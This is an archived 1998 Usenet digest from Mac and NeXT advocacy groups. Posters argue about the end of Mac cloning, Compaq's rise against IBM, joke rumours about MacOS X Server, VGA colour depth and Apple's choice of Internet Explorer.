Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 19 Nov 98 03:01:54 -0700
Organization: ICGNetcom
Message-ID: <B2793AA5-13D6EC@204.31.112.103>
References: <72tnj4$n8f$1@hecate.umd.edu>
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nntp://nntp.ix.netcom.com/comp.sys.next.advocacy
On Tue, Nov 17, 1998 10:56 PM, David T. Wang
<mailto:davewang@cslab.kecl.ntt.co.jp.DELETE.delete.DELETE@Glue.umd.edu>
wrote:
>Chad Irby (cirby@magicnet.net) wrote:
>: davewang@cslab.kecl.ntt.co.jp.Glue.umd.edu (David T. Wang) wrote:
>
>: > Chad Irby (cirby@magicnet.net) wrote:
>: >
>: > : Yup. Lots of struggles. Except that there never *was* a truly open
>: > : cloning market in the same sense as the Mac cloning market. Compaq
>sold
>: > : "portable" computers well before they cloned PCs, and their main
jump
>in
>: > : sales came when they beat IBM to market with a 386-based machine.
>: >
>: > Compaq's major claim was "100% IBM compatibility". "All software
>written
>: > to run on IBM PC will run on Compaq computers". They wanted to be a
>: > "better IBM PC maker" than IBM. Get your hands on those ancient 286
>: > based Deskpros and you'll see what I mean. Full armor plating,
specially
>: > designed case with curved sheetmeal edges, as to not hurt the IT
>manager's
>: > hands when he was servicing it.
>
>: That's nice. However, Compaq didn't make so much as a *dent* in IBM's
>: large-site sales until at least the 386 models. You should remember the
>: old saying "nobody ever got fired for buying IBM."
>
>Perhaps large sites stayed with IBM, but Compaq was indeed making a nice
>dent in IBM's sales starting in the late '80's timeframe. Compaq was
>trying very hard to present itself as an alternative to IBM, not just a
>mere copycat, and its pricing structure was very close to those of IBM's.
>Compaq tried to present itself as an equal, and went after exactly those
>same accounts that had purchase IBM.
>
>: > Nope, Compaq, in its early days, sold exclusively to the same market
as
>: > IBM. Never tried anything new. It wasn't until the 91-92 time frame,
>: > when Canion was replaced by Pfifer, that Compaq went to the mass-
>volume,
>: > lower cost model.
>
>: You're thinking about when Compaq went after the "home" market. Big
>difference.
>
>No, the initial market for those inexpensive boxes were primarily small
>businesses, those that had purchased clones from garage shops. Compaq
>targetted them, and said, here, look, for only 5% more (instead of 50%)
>You can have a Compaq! To some extent, Compaq maintained the tank-like
>deskpro line, although those were toned down. (i.e. armor plating no
>longer able to withstand direct shot from M1A1 tank)
>
>: > Prior to that, Compaq built sturdier tank-like
>: > computers than IBM.
>
>: Not so. True, they did make solid hardware, but the markets they sold
to
>: were very different until at least the later part of the 1980s.
Corporate
>: MIS departments were even more hide-bound then than they are now.
>
>Yes, they only purchased from "tier One vendors". That often meant only
>IBM, bit Compaq was targetting exactly these sites, and making inroads as
>well.
>
>: There's a difference between selling to "business' and selling to the
>: businesses that IBM sold to. It's called "finding a niche and filling
>: it." Compaq *did* sell some of their transportables to some IBM
>: customers, but it was such a small part of the segment that IBM didn't
>: think it was important.
>
>It's not IBM didn't think that it was not important, it's just that IBM
>was (and still is, to some extent) too big and rigid to respond to Compaq.
>IBM was the perpetual #1, and it didn't see that changing, because
>people would always buy IBM, because they're IBM, and "IBM" meant the
>best.
>
>: > : The Mac cloners... sold Macs to existing Mac users, advertising in
Mac
>: > : magazines (Power Computing had one ad in one PC magazine towards
>the end),
>: > : and selling through Mac mail-order companies.
>: >
>: > UMax was supposedly the exception, especially with its presence in
>: > Asia (not including Japan) UMax was killed too. Daystar with the MP
>: > machines was killed too. It didn't matter whether you tried anything
>new
>: > or not, SJ didn't want clones, and off came their heads.
>
>: And, as you might have noticed in other posts here, it wan't Jobs'
>: decision to kill the clones. The sentence came down well before he
>jumped
>: back in (due to its radical failure), he just agreed with killing the
Mac
>: clone market.
>
>I disagree. I think that the process was indeed started in Amelio's
>watch. As we first started hearing about the re-negotiated contract
>for MacOS 8 before SJ ever showed up. However, the clone companies
>were clearly executed on his watch, and the tone of the negotiation
>that was leaked suggested that SJ had a lot more than just a casual
>involvement in the decision. IMO, it was his drive to end cloning
>that saw all of the license revoked. Perhaps it was a needed step
>to shore up Apple's short term finances, but it certainly wasn't a
>logical long term strategy.
>
>: > : If Compaq had only sold to preexisting IBM customers, and if Dell
and
>: > : Gateway had only sold in Compaq dealerships, their stories would
have
>been
>: > : much different.
>: >
>: > Compaq did sell to existing IBM customers until the early '90s.
>
>: Not too many of them. IBM was too busy selling to Fortune 500
companies,
>: Compaq went after the smaller ones.
>
>: You're *really* misremembering what the computer market was like in the
>1980s.
>
>I don't think so. IMO, Compaq had indeed achieved "tier one" status by the
>late '80s and very early '90s. That was what enabled Compaq's success
>in the mid and now late 90's. Compaq built up the impeccable reputation
>for quality, then built cheap boxes with the same name on it. That name
>was worth more than the 5% price delta that remained between Compaq's
>computers and garage shop clones, and thus started Eric Pfifer's reign.
>
>Going back to the original assumption, Compaq's success really came only
>after 5 or 6 years of development and maturity as a company. 2 years
>isn't long enough a time frame to prove that the Mac clone companies
>could (or not) exist as successful contributors to the Mac community.
>
FWIW, this corresponds to my perceptions of the IT mindset from that era:
when the (large-ish) company I worked for finally considered an alternative
to IBM-manufactured PCs in 1992-93, the only 'other' vendor they would
consider doing business with was Compaq, and it took Compaq that long (8-10
years....) to make a dent and start being viewed as IBM's equal within the
business world, as I recall. Up through the days of microchannel specs and
etc., it always seemed uncertain whether PC cloners such as Compaq would
truly be '100% IBM-compatible', and IBM's marketing staff was quite good at
FUD-ing on the subject to keep their clients 'true-blue'..... (It seems to
me in general that it was only _after_ IBM had lost in their last-ditch
attempts to keep a proprietary hold on the hardware spec via microchannel
and PS/2, that everybody realized buying PC clones was 'ok', which again
would have been in the late '80s/early '90s timeframe, 5-6 years or more
after the first PC clones were actually built and available in the
marketplace....)
As the case of Dell has also shown, PC cloners need a sizeable amount of
market 'momentum' before the corporate world will even take them seriously
in the competition against relatively ancient industry fixtures such as IBM
or HP. It's only been in the past 7-8 years or so that Compaq (and now
Dell....) has been well on the way to becoming such a fixture
themselves..... ;-)
I would therefore agree that 2 years was not enough time to tell whether
Mac cloning was a 'good idea' or not, the main difference to the situation
in the x86 world a decade ago being that IBM was not in danger of tanking
from one quarter to the next while Compaq et al. gathered steam in the '80s
(even though it did eventually catch up to them: IBM went through major
red-ink spillage and 'reorg' layoffs in 1991-93, IIRC, once it became clear
that the 'PC revolution' was passing them by.... Apple, for better or
worse, decided to abort the 'Mac cloning experiment' before it ever got
that far, having retained more control over the terms and conditions of Mac
cloning than IBM was ever able to in the x86 world, from the outset [the
urban legend that IBM 'opened up the PC platform' via published specs for
industry standards is not entirely accurate; initially, Compaq had to
reverse-engineer the BIOS and a few other key hardware components of the
'IBM PC' <tm> that IBM would have _loved_ to have kept proprietary, just
like <*cough*> Apple <*/cough*>]....).
Cheers,
--------
Phil Brewster (pjbrew at ix dot netcom dot com)
"There is more to life than increasing its speed."
-- M. Gandhi
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: OSXS bad news, or "never give a zuckur a thumb"
Date: 19 Nov 1998 13:17:03 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <7315of$5l0$1@sun27.hrz.tu-darmstadt.de>
Hey, Malcolm is back :-) Hi Mmalc, good to see yah.
but anyway.. did you notice the MacOS X Server screendumps that
were shown on MocOS Rumors last week - especially the one that
had 'zuckuss' as part of the command line prompt? :-) I can't
help it, this looks like Apple has been feeding MocOS Rumors
false information.
However, this is not good news.. if Apple is trying to convince
them that OSXS *will* be released, it can only mean one thing:
it is cancelled. Dead. Will never come out. The secret truth is
that in January, they will announce that MacOS X will be based
on an NT kernel, with full compatibility for Win32 Apps, and
the ability to run MacOS apps in a 'pink box' for backward
compatibility. Apple will also introduce new translucent hardware,
based on firewire, USB, and with dual Pentium Celeron processors.
This is the end.
Chris
PS:
// oops, almost forgot..
id a;
static char buf[4] = {':','\n','\t','\0'};
buf[2] = ')';
a = [[NSString stringWithCString:buf] componentsSeparatedByString:@"\n"];
NSLog(@"%@",[a componentsJoinedByString:@"-"]);
--
// Christian Neuss "static typing? how quaint.."
// fax: (+49) 6151 16 5472
From: pxpst2@unixs.cis.pitt.edu (Peter)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: Switch nextstep -> linux ?
Date: Thu, 19 Nov 1998 10:16:45 -0500
Organization: University of Pittsburgh
Message-ID: <pxpst2-1911981016450001@pelli.pathology.pitt.edu>
References: <uFk42.5443$dB4.136204@carnaval.risq.qc.ca> <3651E28F.90C2A84A@inch.com> <3651F9C8.F5ADA57E@cygnus.com> <72vhuh$t0v$1@newnews.nl.uu.net> <cirby-1811981900150001@pm60-33.magicnet.net>
Mail-Copies-To: pxpst2@unixs.cis.pitt.edu
In article <cirby-1811981900150001@pm60-33.magicnet.net>,
cirby@magicnet.net (Chad Irby) wrote:
> > I never understood why people put up with 8-bit color :-(
>
> "Because VGA is the standard!"
Call me stupid but I will ask this question anyway...
Why is VGA limited to 8 bit color and did sVGA change this?
Thanks in advance
Peter
--
"don't you eat that yellow snow
Watch out where the huskies go"
FZ
From: gwangung@u.washington.edu (R. Tang)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
Date: 19 Nov 1998 15:48:48 GMT
Organization: University of Washington, Seattle
Message-ID: <731el0$1c4a$1@nntp6.u.washington.edu>
References: <364295A3.ABE8C927@earthlink.net> <adtF2n1wL.Do6@netcom.com> <72vii4$1fas$1@nntp6.u.washington.edu> <adtF2nLHo.685@netcom.com>
NNTP-Posting-User: gwangung
In article <adtF2nLHo.685@netcom.com>,
Anthony D. Tribelli <adt@netcom.com> wrote:
>R. Tang (gwangung@u.washington.edu) wrote:
>: Anthony D. Tribelli <adt@netcom.com> wrote:
>: >R. Tang (gwangung@u.washington.edu) wrote:
>: >: Anthony D. Tribelli <adt@netcom.com> wrote:
>
>: >: >Actually our disagreement seems to be about what constitutes a
>: >: >marketplace. I think the PowerPC consumer oriented dekstop market is a
>: >: >different market than the x86 market. I don't think that the fact that the
>: >: >two markets compete for the same end users changes the fact that each
>: >: >market is internally 'controlled' by one company.
>: >:
>: >: Two markets competing for the same users are NOT two markets;
>: >: they're one market.
>: >
>: >It's not that simple IMHO. The two markets are competing for the
>: >uncomitted users.
>:
>: Simple question: if by magic, all Macs were destroyed and no more
>: to be made, what would Mac users do? I'd say, 90%+ would turn to Intel
>: machines.
>:
>: One market, QED.
>
>You earned an F on that proof. :-)
Ugh. Bad grading.
Counterexample: If all motorcycles
>disappeared and riders purchased cars ...
Except that not all would.
Car market is not motorcycle
>market.
>
>: By the way, you're either mixing your terms or presupposing your
>: conclusions. It's NOT two markets; its two products.
>
>See above.
Nope. Still presupposing.
>: > Once comitted (bought a lot of software) the two markets
>: >operate in parallel with only a minor amount of crossover.
>:
>: I think this is conjecture, not fact. You would exclude all the
>: high profile conversion from Macs to PCs over the past few years?
>
>Fact, a Mac binary will not run on a PC even if the product targets both
>platforms.
Irrelevant.
A VHS tape will not run on a Beta machine. They sure as hell
target the same market.
>: Also from the
>: >cloners perspective, rather than the uncomitted users perspective, it was
>: >obviously not one market. The cloners were not able to replace MacOS with
>: >an x86 OS, they were completely at Apple's mercy, it was comply or find a
>: >new market to operate in.
>:
>: Poppycock. This is a distorted version of "markets" that looks at
>: products instead of how they are used by consumers.
>:
>: And it is untrue that that cloners were unable to replace MacOS
>: with an x86 OS; Umax DID do that (albeit after Apple yanked the license
>: back). And they pitch them to the same people....
>
>Really, what x86 OS are they running on a PowerPC motherboard? IMHO, Umax
>moved to a new market.
IMAO, you're dead wrong. They're targeting the same consumers,
with a different product. Same market.
--
-Roger Tang, gwangung@u.washington.edu, Artistic Director PC Theatre
- Editor, Asian American Theatre Revue [NEW URL]
- http://www.abcflash.com/a&e/r_tang/AATR.html
-Declared 4-F in the War Between the Sexes
From: tsivertsen@c2i.net (Thomas Sivertsen)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Linux: "amazingly great" part II
Date: Thu, 19 Nov 1998 17:26:20 +0100
Organization: =?ISO-8859-1?Q?h=F8h=3F/Asylant?=
Message-ID: <19981119172620914958@mp-39-31.daxnet.no>
References: <72evt6$15u$1@nnrp1.dejanews.com> <861zn8w3jc.fsf@topquark.spots.ab.ca> <97042EDDF11DA39D.35D6071AA669CB56.DAD30F1AEB9000E9@library-proxy.airnews.net> <adtF2LuuL.94M@netcom.com> <8BCE6683759C636E.39EBC39E32EDEFD1.EE283FD409C77147@library-proxy.airnews.net>
Sheldon Gartner <a1050pi@yahoo.com> wrote:
> On Wed, 18 Nov 1998 06:47:09 GMT, adt@netcom.com (Anthony D. Tribelli)
> wrote:
>
> >Sheldon Gartner (a1050pi@yahoo.com) wrote:
[SNIP]
> Then, what's taking so long?
>
> YB Linux apparently could really speed things up on the desktop level.
>
> -l
>
GNUStep is taking longer than I first thought, which was back when Apple
bought NeXT, but it will soon do the trick, on all UN*X-platforms,
including Linux and Mac OS X, and maybe a little bit on Windows
(although Win32-ish).
Go to: http://www.gnustep.org
--
Cheers, Thomas Sivertsen
tsivertsen@c2i.net
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSXS bad news, or "never give a zuckur a thumb"
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <7315of$5l0$1@sun27.hrz.tu-darmstadt.de>
Message-ID: <POX42.2818$rY3.6337493@news.rdc1.sdca.home.com>
Date: Thu, 19 Nov 1998 16:37:03 GMT
NNTP-Posting-Date: Thu, 19 Nov 1998 08:37:03 PDT
Organization: @Home Network
In <7315of$5l0$1@sun27.hrz.tu-darmstadt.de> Christian Neuss wrote:
>
[snip greetings]
>The secret truth is
> that in January, they will announce that MacOS X will be based
> on an NT kernel, with full compatibility for Win32 Apps, and
> the ability to run MacOS apps in a 'pink box' for backward
> compatibility. Apple will also introduce new translucent hardware,
> based on firewire, USB, and with dual Pentium Celeron processors.
>
>
MacOS X will run over the top of *any* OS, so this is good news and I hope
it doesn't stop at Intel.
-r
From: cirby@magicnet.net (Chad Irby)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: Switch nextstep -> linux ?
Date: 19 Nov 1998 16:51:33 GMT
Organization: MagicNet, Inc.
Message-ID: <cirby-1911981150530001@pm61-21.magicnet.net>
References: <uFk42.5443$dB4.136204@carnaval.risq.qc.ca> <3651E28F.90C2A84A@inch.com> <3651F9C8.F5ADA57E@cygnus.com> <72vhuh$t0v$1@newnews.nl.uu.net> <cirby-1811981900150001@pm60-33.magicnet.net> <pxpst2-1911981016450001@pelli.pathology.pitt.edu>
pxpst2@unixs.cis.pitt.edu wrote:
> Call me stupid but I will ask this question anyway...
> Why is VGA limited to 8 bit color and did sVGA change this?
Because video RAM used to be a lot more expensive, and computers used to
be a lot slower. Going to 24-bit color on an IBM PC/XT was a bit of a
strain on the system, since *everything* was much slower at the time. It
wasn't until the Mac II and Compaq 386 machines hit that 24-bit color got
to be a really practical proposition, and even then, the difference in
price between an 8-bit card and a 24-bit card (or a higher-res one) was
enough to make people settle for VGA-ish displays.
Remember: those were the days (early 1980s) when floppies were practical
mass storage devices, a 300-baud modem was pretty cool, and a meg of RAM
cost more than many people paid for a month's rent... a PC/AT with 512K of
RAM and a 20 meg HD was pushing $5000 when it was released.
The step *up* to 640 x 480 8-bit color was a hard sell to some folks,
since the cards cost a bit more and there wasn't a lot of software out
there that really needed it at the time. "I can do just as much with
CGA!" was a rallying cry at the time.
--
Chad Irby \ My greatest fear: that future generations will,
cirby@magicnet.net \ for some reason, refer to me as an "optimist."
From: dennyrex@earthlink.net (Rick Sanford)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 19 Nov 1998 17:03:34 GMT
Content-Transfer-Encoding: 7bit
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy>
Content-Type: text/plain; charset=us-ascii
Organization: EarthLink Network, Inc.
Mime-Version: 1.0
Message-ID: <731j16$6r4$1@ash.prod.itd.earthlink.net>
In <01be1317$dca3f220$06387880@chewy> "Todd Heberlein (todd at NetSQ dot
com)" wrote:
> Rex Riley <rr6013@yahoo.com>
> > > >OS X Server now and I will be the first in the line to buy it.
>
> > > I hope Santa brings you a fat pile of green, then. You're
> > > gonna need it.
>
> > What's with the FUD wrt. "fat pile of green". FUD is unlike
> > Greg...
>
> My interpretation of Greg's statement (which is probably wrong ;^) is that
> Greg is frustrated by what he fears will be Apple's high price for MacOS X
> Server as well as Apple's delays.
>
> Greg completed his software many weeks ago, and every day that Apple
> doesn't release MacOS X Server results in lost revenue (or at best,
> deferred revenue).
>
> Furthermore, if Apple charges a high price for MacOS X Server, fewer people
> will buy it, which means fewer potential customers buying Greg's software
> (and therefore, lost revenue).
>
> Either that, or it must be repressed memories from something in Greg's
> childhood. ;^)
>
> Todd
>
>
either that or they'll require you buy a $1,500 webobjects license with it to
get it at all (?) which would qualify here as a fat pile of green, and would,
if true, somewhat limit the targeted customers.
perhaps a fat pile of green could mean something else...like his previous
(historical/musical) reference to the sun port, "singin' in the rain".
hmmm...
1) you have to be a registered member of the GREEN party to buy
2) you need to show proof of purchase for 10 or more HP Geckos to buy
3) vegetarians only
--
Rick Sanford
Dental Records(R)
dennyrex@earthlink.net NeXTMAIL welcome
http://www.dentalrecords.com
From: Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam>
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 19 Nov 1998 17:25:11 GMT
Organization: Technische Universitaet Darmstadt
Message-ID: <731k9n$ds9$1@sun27.hrz.tu-darmstadt.de>
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com> <72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com> <01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net>
dennyrex@earthlink.net (Rick Sanford) wrote:
>In <01be1317$dca3f220$06387880@chewy> "Todd Heberlein (todd at NetSQ dot
>com)" wrote:
>> Rex Riley <rr6013@yahoo.com>
>> > > >OS X Server now and I will be the first in the line to buy it.
>>
>> > > I hope Santa brings you a fat pile of green, then. You're
>> > > gonna need it.
>>
>> > What's with the FUD wrt. "fat pile of green". FUD is unlike
>> > Greg...
>>
>> My interpretation of Greg's statement (which is probably wrong ;^) is that
>> Greg is frustrated by what he fears will be Apple's high price for MacOS X
>> Server as well as Apple's delays.
...
>perhaps a fat pile of green could mean something else...like his previous
>(historical/musical) reference to the sun port, "singin' in the rain".
>hmmm...
>
>1) you have to be a registered member of the GREEN party to buy
>2) you need to show proof of purchase for 10 or more HP Geckos to buy
>3) vegetarians only
4) "what were they smoking?" :-)
Just kidding. As long as people like Mike are with the band, I'm not
worried about quality. Now pricing.. that might be a different story.
Best regards, Chris
--
// Christian Neuss "static typing? how quaint.."
// fax: (+49) 6151 16 5472
From: bbennett@unixg.ubc.ca (Bruce Bennett)
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSXS bad news, or "never give a zuckur a thumb"
Date: Thu, 19 Nov 1998 09:42:16 -0800
Organization: University of British Columbia
Message-ID: <1diqhi2.1l3na78tcuj8cN@p005.intchg1.net.ubc.ca>
References: <7315of$5l0$1@sun27.hrz.tu-darmstadt.de>
User-Agent: MacSOUP/2.4b3
Christian Neuss <neuss.@informatik.th-darmstadt.de.nos-pam> wrote, among
other things:
> The secret truth is
> that in January, they will announce that MacOS X will be based
> on an NT kernel
...and the developer release will appear in the year MM. (Sorry,
couldn't resist.)
--
Bruce Bennett
From: "Todd Heberlein (todd at NetSQ dot com)" <todd@dev.null>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Making IE the default browser
Date: 19 Nov 1998 18:09:52 GMT
Organization: Net Squared, Inc.
Message-ID: <01be13e5$fa4d48c0$06387880@chewy>
In the "Knife the baby" thread, there was a subthread discussing
Apple's choice to make IE Apple's default browser.
Also, I heard on CNBC today that a witness claims that IE has 60% share
of "new" browsers installed, while Netscape has only 30%. (Sorry,
can't find a URL reference).
So along these lines, I thought the following might be of some interest
to some people in this group. Sounding like a broken record, this
information is from "Competing on Internet Time".
o March 96, AOL makes IE default browser, MS puts AOL on Windows 95
desktop.
o June 96, CompuServe makes IE default browser, MS puts CompuServe on
Windows 95 desktop.
o July 96, AT&T makes IE default browser, MS bundles WorldNet with
Windows 95.
o July 96, Netcom makes IE default browser, MS bundles Netcom with
Windows 95.
o October 96, Prodigy makes IE default browser, MS bundles Prodigy with
Windows 95.
o July 97, Quicken choses IE as preferred browser, MS designated
Quicken as a "premier Active Channel" on IE 4.0.
o August 97, Apple makes IE default browser, MS invests $150 million in
Apple.
o August 97, KPMG replaces Navigator with IE on 18,000 desktops, MS pay
up to $10 million in training costs for KPMG's new Microsoft enterprise
solution group.
Todd
From: Christopher Pratt <cpratt@netscape.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: Switch nextstep -> linux ?
Date: Thu, 19 Nov 1998 10:13:51 -0800
Organization: Netscape Communications Corporation
Message-ID: <36545FDF.EF8D6DBD@netscape.com>
References: <uFk42.5443$dB4.136204@carnaval.risq.qc.ca> <3651E28F.90C2A84A@inch.com> <3651F9C8.F5ADA57E@cygnus.com> <72vhuh$t0v$1@newnews.nl.uu.net> <cirby-1811981900150001@pm60-33.magicnet.net> <pxpst2-1911981016450001@pelli.pathology.pitt.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Peter wrote:
> Call me stupid but I will ask this question anyway...
> Why is VGA limited to 8 bit color and did sVGA change this?
VGA was actually not 8 bit color, but 4 bit color (16 colors). Super VGA
was 8 bit color. Pretty lame, eh? VGA cards had 256 K bytes of video
RAM, and Super VGA cards had 512 K bytes. Both VGA and Super VGA run at
640 by 480 resolution.
For the truly nostalgic, you may recall that a very cool feature of
Windows 3.1 (as opposed to Windows 3.0) was that it came with a generic
Super VGA driver - that is, it was the first version of Windows with
built-in support for 8 bit color (previously, you needed a driver that
(hopefully) came with your video card).
Mac fans may remember that early Mac consumer models (specifically the
LC and LC II) only came with 256 K bytes of VRAM - meaning that you had
to buy the 12" display if you wanted 8 bit color. If you went with the
more expensive 13" display, you were limited to 4 bit color. (Of course,
you could buy a 256 K byte VRAM memory card to get 8 bit color on the
13" display if you wanted; the same upgrade gave you 16 bit color on the
12" display.) When Apple introduced the Performa line in late 1992, the
Performa 400 was essentially a LC II with the extra VRAM already
installed at the factory, making it a better buy than the LC II.
Of course, these days, Apple's consumer Macs come with 6 megs of VRAM,
and most PCs come with at least 4 megs of VRAM.
...C.
From: "William V. Campbell Jr." <wcampbe1@san.rr.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: OSXS bad news, or "never give a zuckur a thumb"
References: <7315of$5l0$1@sun27.hrz.tu-darmstadt.de>
Organization: Country Liv'n
Mime-version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
Message-ID: <wVZ42.9617$q15.296322@news.san.rr.com>
Date: Thu, 19 Nov 1998 11:00:44 -0800
NNTP-Posting-Date: Thu, 19 Nov 1998 11:00:44 PDT
ah......Chris did you forget to take your medication.... again?
William V. Campbell Jr.
Country Liv'n
wcampbe1@san.rr.com
----------
In article <7315of$5l0$1@sun27.hrz.tu-darmstadt.de>, Christian Neuss
<neuss.@informatik.th-darmstadt.de.nos-pam> wrote:
>Hey, Malcolm is back :-) Hi Mmalc, good to see yah.
>
>but anyway.. did you notice the MacOS X Server screendumps that
>were shown on MocOS Rumors last week - especially the one that
>had 'zuckuss' as part of the command line prompt? :-) I can't
>help it, this looks like Apple has been feeding MocOS Rumors
>false information.
>
>However, this is not good news.. if Apple is trying to convince
>them that OSXS *will* be released, it can only mean one thing:
>it is cancelled. Dead. Will never come out. The secret truth is
>that in January, they will announce that MacOS X will be based
>on an NT kernel, with full compatibility for Win32 Apps, and
>the ability to run MacOS apps in a 'pink box' for backward
>compatibility. Apple will also introduce new translucent hardware,
>based on firewire, USB, and with dual Pentium Celeron processors.
>
>This is the end.
>
>Chris
>
>PS:
> // oops, almost forgot..
> id a;
> static char buf[4] = {':','\n','\t','\0'};
> buf[2] = ')';
> a = [[NSString stringWithCString:buf] componentsSeparatedByString:@"\n"];
> NSLog(@"%@",[a componentsJoinedByString:@"-"]);
>
>--
>// Christian Neuss "static typing? how quaint.."
>// fax: (+49) 6151 16 5472
From: "William V. Campbell Jr." <wcampbe1@san.rr.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: "Knife the baby" finally appears
References: <364295A3.ABE8C927@earthlink.net>
<36446139.B0696A55@spamtoNull.com>
<19981107182220271838@pm2-2-23.aug.com>
<36462729.BDFBC1C0@spamtoNull.com>
<19981109212809124993@pm2-2-15.aug.com>
<364A12A5.4B55B381@spamtoNull.com>
<199811112325443438729@pm2-1-15.aug.com> <adtF2At2v.8B7@netcom.com>
<rbarris-ya023280001211980050240001@206.82.216.1>
<adtF2Bw7x.Do7@netcom.com>
<rbarris-ya023280001211981405070001@206.82.216.1>
<adtF2CH1x.MEL@netcom.com> <72hpl5$10bs$1@nntp6.u.washington.edu>
<adtF2E46H.L8C@netcom.com> <cirby-1411980253120001@pm61-25.magicnet.net>
<72keje$dud@news1.panix.com> <36505AFF.467AC9DC@spamtoNull.com>
<72pvfb$hcs@newsb.netnews.att.com> <72vrph$bbm$1@news01.btx.dtag.de>
Organization: Country Liv'n
Mime-version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-transfer-encoding: quoted-printable
Message-ID: <88_42.9618$q15.296281@news.san.rr.com>
Date: Thu, 19 Nov 1998 11:16:20 -0800
NNTP-Posting-Date: Thu, 19 Nov 1998 11:16:20 PDT
Jonathan Harker said
Lars T. wrote
Wake up Lars, this is typical Harker crap. He posts nonsense then sits back=
s
and laughs while everyone screams that his logic is illogical. Just look at
the length of this useless thread. He's looking for our love and we are
responding. WoW! what a Country!
Peace
William V. Campbell Jr.
Country Liv'n
wcampbe1@san.rr.com
----------
In article <72vrph$bbm$1@news01.btx.dtag.de>, Fam.Traeger@t-online.de (Lars
Tr=E4ger) wrote:
><gupta@knim.tm.tta.moc-mirror> wrote:
>
>> Jonathan Harker <Limeyville@spamtoNull.com> wrote:
>> >
>> >As far as I am concerned it has never been demonstrated that killing
>> >Apple cloning was "necessary" to Apple's survival. At the time cloning
>> >was killed Apple had around 90% of the Mac-compatible market to itself
>> >anyway. In these days since cloning was killed we've seen layoffs,
>>
>> It has never been demonstrated either, that cloning increased the
>> Macintosh marketshare by even a smidgen.
>>
>> >factory closings, and asset sales *anyway*. Jobs has never been able to
>> >abide cloning for personal, philosophical reasons. Clone companies have
>>
>> Since you are talking about demonstrations and proofs, what demonstratio=
n
>> is there that "Jobs has not been able to abide cloning for personal,
>> philosophical reasons". What are these reasons ? Where in the public
>> record are these expressed ? If they aren't there, how did you get your
>> insight into Jobs' motives ? By magic ?
>
>Mr. Harker is great at stating "facts" without proof and - unlike David
>Fields - he keeps on long after they were proven wrong.
>
>Lars T.
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: Switch nextstep -> linux ?
Date: Thu, 19 Nov 1998 19:13:58 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <731ql4$rc4$1@nnrp1.dejanews.com>
References: <uFk42.5443$dB4.136204@carnaval.risq.qc.ca> <3651E28F.90C2A84A@inch.com> <3651F9C8.F5ADA57E@cygnus.com> <72vhuh$t0v$1@newnews.nl.uu.net> <cirby-1811981900150001@pm60-33.magicnet.net> <pxpst2-1911981016450001@pelli.pathology.pitt.edu>
In article <pxpst2-1911981016450001@pelli.pathology.pitt.edu>,
pxpst2@unixs.cis.pitt.edu (Peter) wrote:
> In article <cirby-1811981900150001@pm60-33.magicnet.net>,
> cirby@magicnet.net (Chad Irby) wrote:
>>> I never understood why people put up with 8-bit color :-(
>>
>> "Because VGA is the standard!"
>
> Call me stupid but I will ask this question anyway...
> Why is VGA limited to 8 bit color and did sVGA change this?
VGA is limited to 8-bit color because video memory was damned expensive back
in 1987 and people were still running machines with Intel 8086 and 80286
CPU's that couldn't really do clean 32-bit addressing, which meant they had
to do the 64K bank swapping game (at 0xA000, or A000h).
VGA was backwards compatible with the MCGA [320x200x256, fixed colors], EGA,
and CGA standards. SVGA changed this, of course....
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: rr6013@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
References: <01be1188$01ce14e0$06387880@chewy> <whaddock-1711981824460001@digital-03-213.hou.neosoft.com>
<72tfuq$oj0@shelob.afs.com> <ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com>
<01be1317$dca3f220$06387880@chewy> <731j16$6r4$1@ash.prod.itd.earthlink.net>
Message-ID: <%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com>
Date: Thu, 19 Nov 1998 21:01:47 GMT
NNTP-Posting-Date: Thu, 19 Nov 1998 13:01:47 PDT
Organization: @Home Network
